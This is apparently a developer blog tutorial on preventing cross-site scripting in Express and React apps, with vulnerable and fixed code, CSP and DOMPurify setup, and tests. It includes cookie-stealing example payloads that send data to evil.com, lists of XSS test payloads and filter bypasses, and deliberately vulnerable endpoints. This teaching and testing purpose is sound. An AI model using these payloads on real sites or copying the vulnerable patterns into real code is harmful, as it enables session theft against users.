Securityintermediate

XSS (Cross-Site Scripting) Prevention — The Complete Guide

Learn how Cross-Site Scripting attacks work and how to prevent them. Covers Reflected, Stored, and DOM-based XSS with practical code examples, CSP headers, and React-specific protections.

18 min read·Published Apr 15, 2026
securityxsspreventioncsp

What Is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is an injection attack where malicious scripts are injected into trusted websites. When a user visits the affected page, their browser executes the injected script because it trusts the domain serving it. The attacker gains the ability to steal cookies, hijack sessions, redirect users, deface pages, or install keyloggers — all running under the victim's session.

XSS consistently ranks in the OWASP Top 10. Despite being well-understood, it remains one of the most common web vulnerabilities because there are so many injection points and developers often miss edge cases.

 Attacker                   Vulnerable Website              Victim
 --------                   ------------------              ------
    |                              |                          |
    |-- Injects malicious script ->|                          |
    |                              |                          |
    |                              |<-- Victim visits page ---|
    |                              |                          |
    |                              |--- Serves page with ---->|
    |                              |    injected script        |
    |                              |                          |
    |<---------- Script sends stolen data (cookies, tokens) --|
    |                              |                          |

There are three primary types of XSS attacks, each with a different injection mechanism and persistence model.

The Three Types of XSS

1. Reflected XSS

Reflected XSS occurs when user input is immediately returned by the server without sanitization. The malicious payload is part of the request — typically a URL parameter — and gets "reflected" back in the response.

 Attacker crafts URL:
 https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

 Victim clicks link --> Server reflects input --> Browser executes script

Here is a vulnerable server endpoint:

// VULNERABLE — Never do this
const express = require('express');
const app = express();

app.get('/search', (req, res) => {
  const query = req.query.q;
  // User input injected directly into HTML response
  res.send(`
    <h1>Search Results for: ${query}</h1>
    <p>No results found.</p>
  `);
});

If an attacker sends a victim a link like /search?q=<script>alert('XSS')</script>, the server responds with HTML containing a live script tag. The browser parses it and executes the script.

Fixed version:

// SAFE — HTML-escape user input before rendering
const escapeHtml = require('escape-html');
const express = require('express');
const app = express();

app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q);
  res.send(`
    <h1>Search Results for: ${query}</h1>
    <p>No results found.</p>
  `);
});

The escapeHtml function converts < to &lt;, > to &gt;, " to &quot;, ' to &#39;, and & to &amp;. The browser renders these as text rather than parsing them as HTML tags.

2. Stored XSS (Persistent XSS)

Stored XSS is more dangerous because the payload is saved in the application's database and served to every user who views the affected page. Common targets include comment fields, forum posts, user profiles, and product reviews.

 Attacker                    Server / Database              Victim(s)
 --------                    -----------------              ---------
    |                               |                          |
    |-- Posts comment with script ->|                          |
    |                               |-- Stores in DB           |
    |                               |                          |
    |                               |<-- Any user loads page --|
    |                               |                          |
    |                               |--- Serves stored ------->|
    |                               |    malicious script       |
    |                               |                          |
    |<------- Script exfiltrates data from ALL visitors -------|

A vulnerable comment system:

// VULNERABLE — Stored XSS via comments
app.post('/api/comments', async (req, res) => {
  const { body, author } = req.body;
  // Saved directly — no sanitization
  await db.comments.insert({ body, author });
  res.json({ success: true });
});

app.get('/api/comments', async (req, res) => {
  const comments = await db.comments.findAll();
  // Served directly — no encoding
  res.json(comments);
});

// Client renders:
// commentElement.innerHTML = comment.body;  // <-- Dangerous!

An attacker posts a comment containing <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">. Every user who views the comments page triggers the payload.

Fixed version:

// SAFE — Sanitize on input, encode on output
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.post('/api/comments', async (req, res) => {
  const { body, author } = req.body;
  // Sanitize HTML — strips dangerous tags/attributes
  const cleanBody = DOMPurify.sanitize(body, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href'],
  });
  const cleanAuthor = DOMPurify.sanitize(author, {
    ALLOWED_TAGS: [],
    ALLOWED_ATTR: [],
  });
  await db.comments.insert({ body: cleanBody, author: cleanAuthor });
  res.json({ success: true });
});

On the client side, use textContent instead of innerHTML when rendering plain text:

// SAFE — Use textContent for plain text
commentElement.textContent = comment.body;

// If you MUST render HTML (e.g., rich text comments),
// sanitize on the client too:
import DOMPurify from 'dompurify';
commentElement.innerHTML = DOMPurify.sanitize(comment.body);

3. DOM-Based XSS

DOM-based XSS happens entirely in the browser. The server never sees the payload. JavaScript reads data from an attacker-controlled source (URL fragment, document.referrer, window.name, postMessage) and writes it to a dangerous sink (innerHTML, eval, document.write).

// VULNERABLE — DOM-based XSS via URL hash
// URL: https://example.com/page#<img src=x onerror=alert('XSS')>
const userContent = window.location.hash.substring(1);
document.getElementById('output').innerHTML = userContent;

The server never processes the hash fragment (everything after #). A WAF or server-side filter cannot block this attack.

Fixed version:

// SAFE — Use textContent, not innerHTML
const userContent = window.location.hash.substring(1);
document.getElementById('output').textContent = decodeURIComponent(userContent);

// Or if you need to use it in DOM manipulation:
const sanitized = DOMPurify.sanitize(decodeURIComponent(userContent));
document.getElementById('output').innerHTML = sanitized;

Comparison Table: XSS Types

+------------------+-------------+-------------+-------------+
|                  | Reflected   | Stored      | DOM-Based   |
+------------------+-------------+-------------+-------------+
| Payload stored   | No (URL)    | Yes (DB)    | No (client) |
| Server involved  | Yes         | Yes         | No          |
| Persistence      | Per request | Permanent   | Per request |
| Victim count     | Targeted    | Mass        | Targeted    |
| WAF detectable   | Often       | Sometimes   | Rarely      |
| Severity         | Medium-High | High-Crit   | Medium-High |
+------------------+-------------+-------------+-------------+

Prevention Strategy 1: Output Encoding

Output encoding is the most fundamental XSS defense. The idea is simple: before inserting untrusted data into HTML, encode special characters so the browser treats them as text, not markup.

The encoding depends on where in the HTML document you are inserting data:

+------------------+----------------------------+---------------------------+
| Context          | Encoding Required          | Example                   |
+------------------+----------------------------+---------------------------+
| HTML body        | HTML entity encoding       | < becomes &lt;            |
| HTML attribute   | HTML attribute encoding    | " becomes &quot;          |
| JavaScript       | JavaScript hex encoding    | ' becomes \x27            |
| URL parameter    | URL percent encoding       | < becomes %3C             |
| CSS value        | CSS hex encoding           | < becomes \3C             |
+------------------+----------------------------+---------------------------+

A common mistake is using HTML encoding everywhere. But if you insert user data into a JavaScript string, HTML encoding does not help:

<!-- VULNERABLE — HTML encoding inside a script context does nothing -->
<script>
  var name = '&lt;script&gt;alert(1)&lt;/script&gt;';
  // The browser decodes HTML entities inside script tags differently
</script>

<!-- ALSO VULNERABLE — even with HTML encoding -->
<div onclick="doSomething('USER_INPUT_HERE')">Click</div>

For JavaScript contexts, use JavaScript-specific encoding:

// Encode for JavaScript string context
function encodeForJS(str) {
  return str.replace(/[\\'"<>&]/g, (char) => {
    return '\\x' + char.charCodeAt(0).toString(16).padStart(2, '0');
  });
}

The best practice: avoid inserting user data into JavaScript contexts entirely. Use data attributes instead:

<!-- SAFE — Use data attributes, read with JavaScript -->
<div id="greeting" data-name="ENCODED_USER_INPUT"></div>
<script>
  const name = document.getElementById('greeting').dataset.name;
  document.getElementById('greeting').textContent = `Hello, ${name}`;
</script>

Prevention Strategy 2: Input Validation

Input validation rejects or transforms data that does not match expected patterns. It is a defense-in-depth measure — never the sole protection.

// Validate that a username contains only expected characters
function validateUsername(input) {
  const pattern = /^[a-zA-Z0-9_-]{3,30}$/;
  if (!pattern.test(input)) {
    throw new Error('Invalid username format');
  }
  return input;
}

// Validate that an email matches expected format
function validateEmail(input) {
  const pattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
  if (!pattern.test(input)) {
    throw new Error('Invalid email format');
  }
  return input;
}

// Validate that a number is actually a number
function validateAge(input) {
  const age = parseInt(input, 10);
  if (isNaN(age) || age < 0 || age > 150) {
    throw new Error('Invalid age');
  }
  return age;
}

Input validation works well for structured data (emails, phone numbers, IDs). It does not work for free-form text like comments or bios — you cannot predict all legitimate characters a user might need.

Important distinction: validation vs sanitization.

  • Validation = reject bad input (return error)
  • Sanitization = clean bad input (strip dangerous parts, keep safe parts)
// Validation: reject if invalid
function validate(input) {
  if (/<script/i.test(input)) {
    throw new Error('Invalid input');
  }
  return input;
}

// Sanitization: clean and return
function sanitize(input) {
  return DOMPurify.sanitize(input);
}

Blocklist-based validation (rejecting known bad patterns) is fragile. Attackers constantly find new bypasses:

Blocklist blocks <script>? Attacker uses:
  <ScRiPt>                     (case variation)
  <scr<script>ipt>             (nested tags)
  <img src=x onerror=alert(1)> (event handlers)
  <svg/onload=alert(1)>        (SVG events)
  <body onload=alert(1)>       (body events)
  javascript:alert(1)          (javascript: protocol)

Allowlists (permitting only known good patterns) are far more reliable.

Prevention Strategy 3: HTML Sanitization with DOMPurify

When you must accept HTML from users (rich text editors, markdown renderers), sanitization is required. DOMPurify is the industry-standard library.

import DOMPurify from 'dompurify';

// Basic sanitization — removes all dangerous content
const dirty = '<p>Hello</p><script>alert("xss")</script><img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);
// Result: '<p>Hello</p>'

// Allowlist specific tags and attributes
const cleanRestricted = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'br'],
  ALLOWED_ATTR: ['href', 'title'],
});

// Strip all HTML — plain text only
const plainText = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: [],
  ALLOWED_ATTR: [],
});
// Result: 'Hello'

// Allow specific URI schemes (block javascript: URIs)
const safeLinks = DOMPurify.sanitize(
  '<a href="javascript:alert(1)">Click</a><a href="https://safe.com">Safe</a>',
  {
    ALLOWED_TAGS: ['a'],
    ALLOWED_ATTR: ['href'],
    ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,
  }
);
// Result: '<a>Click</a><a href="https://safe.com">Safe</a>'

DOMPurify configuration for a typical blog/CMS:

const DOMPURIFY_CONFIG = {
  ALLOWED_TAGS: [
    'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
    'p', 'br', 'hr',
    'b', 'i', 'em', 'strong', 'u', 's', 'sub', 'sup',
    'a', 'img',
    'ul', 'ol', 'li',
    'blockquote', 'pre', 'code',
    'table', 'thead', 'tbody', 'tr', 'th', 'td',
  ],
  ALLOWED_ATTR: [
    'href', 'src', 'alt', 'title', 'width', 'height',
    'class', 'id',
  ],
  ALLOW_DATA_ATTR: false,
  ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,
  ADD_ATTR: ['target'],
  FORBID_TAGS: ['style', 'script', 'iframe', 'form', 'input'],
  FORBID_ATTR: ['onerror', 'onclick', 'onload', 'onmouseover'],
};

Prevention Strategy 4: Content Security Policy (CSP)

Content Security Policy is a browser security mechanism delivered via HTTP header. It tells the browser which sources of content are allowed. Even if an attacker injects a script, CSP can prevent it from executing.

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.example.com; frame-src 'none'; object-src 'none'; base-uri 'self'; form-action 'self';

Breaking down each directive:

+---------------------+--------------------------------------------+
| Directive           | Controls                                   |
+---------------------+--------------------------------------------+
| default-src         | Fallback for all resource types             |
| script-src          | JavaScript sources                          |
| style-src           | CSS sources                                |
| img-src             | Image sources                              |
| font-src            | Font file sources                          |
| connect-src         | XHR, fetch, WebSocket targets              |
| frame-src           | iframe sources                             |
| object-src          | <object>, <embed>, <applet> sources        |
| base-uri            | Allowed <base> URLs                        |
| form-action         | Allowed form submission targets            |
+---------------------+--------------------------------------------+

Implementing CSP in Express:

const helmet = require('helmet');

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'", "'unsafe-inline'"],  // Needed for some CSS-in-JS
      imgSrc: ["'self'", 'data:', 'https:'],
      fontSrc: ["'self'", 'https://fonts.gstatic.com'],
      connectSrc: ["'self'", 'https://api.example.com'],
      frameSrc: ["'none'"],
      objectSrc: ["'none'"],
      baseUri: ["'self'"],
      formAction: ["'self'"],
    },
  })
);

Implementing CSP in Next.js via next.config.js:

// next.config.js
const cspHeader = `
  default-src 'self';
  script-src 'self' 'nonce-{NONCE}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self';
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  upgrade-insecure-requests;
`;

module.exports = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: cspHeader.replace(/\n/g, ''),
          },
        ],
      },
    ];
  },
};

CSP with nonces for inline scripts (when you must use them):

// Server generates a unique nonce per request
const crypto = require('crypto');

app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.nonce = nonce;
  res.setHeader(
    'Content-Security-Policy',
    `script-src 'self' 'nonce-${nonce}'; object-src 'none';`
  );
  next();
});

// In your template:
// <script nonce="<%= nonce %>">
//   // This inline script executes because the nonce matches
// </script>
//
// <script>
//   // This inline script is BLOCKED — no matching nonce
// </script>

Start with Content-Security-Policy-Report-Only to test your policy without breaking anything:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations;

React's Built-in XSS Protections

React provides strong default protection against XSS by escaping all values embedded in JSX before rendering them.

// SAFE — React escapes this automatically
function UserGreeting({ name }) {
  // Even if name = "<script>alert('xss')</script>"
  // React renders it as text, not HTML
  return <h1>Hello, {name}</h1>;
}
// Renders: <h1>Hello, &lt;script&gt;alert('xss')&lt;/script&gt;</h1>

React's JSX escaping handles the HTML body context. However, there are several escape hatches where React's protection does not apply:

Danger Zone 1: dangerouslySetInnerHTML

// VULNERABLE — Bypasses React's escaping
function Comment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// SAFE — Sanitize before using dangerouslySetInnerHTML
import DOMPurify from 'dompurify';

function SafeComment({ html }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Danger Zone 2: href with javascript: Protocol

// VULNERABLE — javascript: URIs execute code
function UserLink({ url }) {
  return <a href={url}>Visit Profile</a>;
}
// If url = "javascript:alert('XSS')" — clicking executes the script

// SAFE — Validate the URL protocol
function SafeLink({ url }) {
  const safeUrl = /^https?:\/\//i.test(url) ? url : '#';
  return <a href={safeUrl}>Visit Profile</a>;
}

Danger Zone 3: Server-Side Rendering (SSR) Data Injection

// VULNERABLE — Injecting data into a script tag during SSR
function Page({ data }) {
  return (
    <html>
      <body>
        <script
          dangerouslySetInnerHTML={{
            __html: `window.__DATA__ = ${JSON.stringify(data)};`,
          }}
        />
      </body>
    </html>
  );
}
// If data contains </script>, the attacker can break out

// SAFE — Use a serialization library that escapes </script>
import serialize from 'serialize-javascript';

function SafePage({ data }) {
  return (
    <html>
      <body>
        <script
          dangerouslySetInnerHTML={{
            __html: `window.__DATA__ = ${serialize(data, { isJSON: true })};`,
          }}
        />
      </body>
    </html>
  );
}

Danger Zone 4: Dynamic Attribute Names

// VULNERABLE — Spread operator with user-controlled data
function Component({ userProps }) {
  return <div {...userProps} />;
}
// If userProps = { dangerouslySetInnerHTML: { __html: '<script>...' } }
// XSS is possible

// SAFE — Allowlist the props you accept
function SafeComponent({ userProps }) {
  const { className, id, title } = userProps;
  return <div className={className} id={id} title={title} />;
}

Testing for XSS Vulnerabilities

Manual Testing Payloads

Use these payloads to test input fields, URL parameters, and any other injection points:

// Basic payloads
const XSS_TEST_PAYLOADS = [
  '<script>alert("XSS")</script>',
  '<img src=x onerror=alert("XSS")>',
  '<svg/onload=alert("XSS")>',
  '"><script>alert("XSS")</script>',
  "' onfocus=alert('XSS') autofocus='",
  '<a href="javascript:alert(\'XSS\')">click</a>',
  '<body onload=alert("XSS")>',
  '<input type="text" value="" onfocus="alert(\'XSS\')" autofocus>',
  '<details open ontoggle=alert("XSS")>',
  '<iframe src="javascript:alert(\'XSS\')">',
];

// Context-specific payloads
const ATTRIBUTE_PAYLOADS = [
  '" onmouseover="alert(1)" x="',
  "' onmouseover='alert(1)' x='",
  '" autofocus onfocus="alert(1)" x="',
];

const URL_PAYLOADS = [
  'javascript:alert(1)',
  'data:text/html,<script>alert(1)</script>',
  'vbscript:alert(1)',
];

Automated Testing with a Script

// Simple XSS scanner for testing your own applications
async function testForXSS(baseUrl, paramName) {
  const payloads = [
    '<script>alert(1)</script>',
    '<img src=x onerror=alert(1)>',
    '"><img src=x onerror=alert(1)>',
    "'-alert(1)-'",
  ];

  const results = [];

  for (const payload of payloads) {
    const url = `${baseUrl}?${paramName}=${encodeURIComponent(payload)}`;
    const response = await fetch(url);
    const body = await response.text();

    // Check if payload appears unencoded in response
    if (body.includes(payload)) {
      results.push({
        payload,
        url,
        status: 'VULNERABLE',
        detail: 'Payload reflected without encoding',
      });
    } else if (body.includes(payload.replace(/</g, '&lt;'))) {
      results.push({
        payload,
        url,
        status: 'SAFE',
        detail: 'Payload is HTML-encoded',
      });
    }
  }

  return results;
}

Integration Testing with Playwright

// tests/xss.spec.ts
import { test, expect } from '@playwright/test';

test.describe('XSS Prevention', () => {
  const xssPayload = '<img src=x onerror=alert("XSS")>';

  test('search input does not execute script', async ({ page }) => {
    await page.goto(`/search?q=${encodeURIComponent(xssPayload)}`);

    // Check that the payload is rendered as text, not HTML
    const content = await page.locator('#search-results').innerHTML();
    expect(content).not.toContain('<img src=x onerror');
    expect(content).toContain('&lt;img');
  });

  test('comment form sanitizes HTML', async ({ page }) => {
    await page.goto('/comments');
    await page.fill('#comment-input', xssPayload);
    await page.click('#submit-comment');

    // Verify no alert dialog appeared
    let alertFired = false;
    page.on('dialog', () => { alertFired = true; });

    await page.reload();
    await page.waitForTimeout(1000);
    expect(alertFired).toBe(false);
  });

  test('user profile does not execute javascript: URLs', async ({ page }) => {
    await page.goto('/profile/edit');
    await page.fill('#website-input', 'javascript:alert(1)');
    await page.click('#save-profile');

    const href = await page.locator('#profile-link').getAttribute('href');
    expect(href).not.toContain('javascript:');
  });
});

Complete XSS Prevention Checklist

Use this checklist in code reviews and security audits:

+------+----------------------------------------------+----------+
| #    | Check                                        | Status   |
+------+----------------------------------------------+----------+
| 1    | All user input HTML-encoded before rendering  | [ ]      |
| 2    | Context-aware encoding (HTML/JS/URL/CSS)      | [ ]      |
| 3    | DOMPurify used for any rich HTML rendering     | [ ]      |
| 4    | No raw innerHTML without sanitization          | [ ]      |
| 5    | No eval() with user input                      | [ ]      |
| 6    | No document.write() with user input             | [ ]      |
| 7    | CSP header deployed (script-src restricted)     | [ ]      |
| 8    | CSP report-uri configured for monitoring        | [ ]      |
| 9    | javascript: URIs blocked in href/src            | [ ]      |
| 10   | HTTP-only cookies (not accessible via JS)       | [ ]      |
| 11   | X-Content-Type-Options: nosniff set             | [ ]      |
| 12   | Input validation (allowlist where possible)     | [ ]      |
| 13   | React: no uncontrolled dangerouslySetInnerHTML  | [ ]      |
| 14   | React: no user-controlled spread props          | [ ]      |
| 15   | SSR: serialized data escaped for script context | [ ]      |
| 16   | Automated XSS tests in CI pipeline              | [ ]      |
+------+----------------------------------------------+----------+

Defense-in-Depth: Layering Your Protections

No single defense is sufficient. Layer multiple protections so that if one fails, others catch the attack:

Layer 1: Input Validation
  |
  v  (input passes validation)
Layer 2: Sanitization (DOMPurify for HTML)
  |
  v  (stored in database)
Layer 3: Output Encoding (context-aware)
  |
  v  (rendered in browser)
Layer 4: Content Security Policy (blocks inline scripts)
  |
  v  (even if script injected, CSP blocks execution)
Layer 5: HttpOnly Cookies (limits damage if script runs)
// Example: Full pipeline for a comment system
const express = require('express');
const helmet = require('helmet');
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const escapeHtml = require('escape-html');

const app = express();
const DOMPurify = createDOMPurify(new JSDOM('').window);

// Layer 4: CSP headers
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],
    objectSrc: ["'none'"],
  },
}));

// Layer 5: Secure cookies
app.use((req, res, next) => {
  res.cookie('session', req.sessionID, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
  });
  next();
});

app.post('/api/comments', (req, res) => {
  let { body } = req.body;

  // Layer 1: Input validation
  if (typeof body !== 'string' || body.length > 10000) {
    return res.status(400).json({ error: 'Invalid comment' });
  }

  // Layer 2: Sanitization
  body = DOMPurify.sanitize(body, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
    ALLOWED_ATTR: ['href'],
  });

  // Store sanitized version
  db.comments.insert({ body });
  res.json({ success: true });
});

app.get('/comments', (req, res) => {
  const comments = db.comments.findAll();

  // Layer 3: Output encoding for non-HTML fields
  const rendered = comments.map(c => ({
    ...c,
    author: escapeHtml(c.author),
    // body was already sanitized on input
  }));

  res.render('comments', { comments: rendered });
});

Common Mistakes and Bypasses

Mistake 1: Encoding Only Once

// VULNERABLE — Double encoding issue
const input = '&lt;script&gt;alert(1)&lt;/script&gt;';
// If decoded twice (e.g., by a template engine), becomes live script

Mistake 2: Filtering Instead of Encoding

// VULNERABLE — Incomplete blocklist
function badFilter(input) {
  return input.replace(/<script>/gi, '');
}
badFilter('<scr<script>ipt>alert(1)</script>');
// Result: <script>alert(1)</script>

Mistake 3: Trusting Client-Side Validation Only

// VULNERABLE — Client-side validation can be bypassed
// Attacker can use curl/Postman to send unvalidated data
// ALWAYS validate on the server

Mistake 4: Assuming JSON APIs Are Safe

// VULNERABLE — If the JSON response is rendered in HTML context
app.get('/api/user', (req, res) => {
  res.json({ name: req.query.name }); // Reflected input
});
// If browser navigates to /api/user?name=<script>..., some browsers
// render JSON as HTML if Content-Type header is missing or wrong

// SAFE — Always set correct Content-Type
app.get('/api/user', (req, res) => {
  res.setHeader('Content-Type', 'application/json');
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.json({ name: req.query.name });
});

Summary

XSS prevention requires multiple layers working together. No single technique is bulletproof on its own.

The essential defenses:

  1. Output encoding — Context-aware (HTML, JS, URL, CSS) — this is your primary defense
  2. Input validation — Allowlist where possible, reject unexpected formats
  3. HTML sanitization — DOMPurify when you must accept rich HTML
  4. Content Security Policy — Restrict script sources, block inline scripts
  5. HttpOnly cookies — Limit damage even if XSS succeeds
  6. React defaults — Let JSX escaping do its job, avoid escape hatches

Apply all six. Test continuously. Assume any single layer can be bypassed.

Found this helpful?

Support devsofus — help us keep creating free dev guides.

Related Articles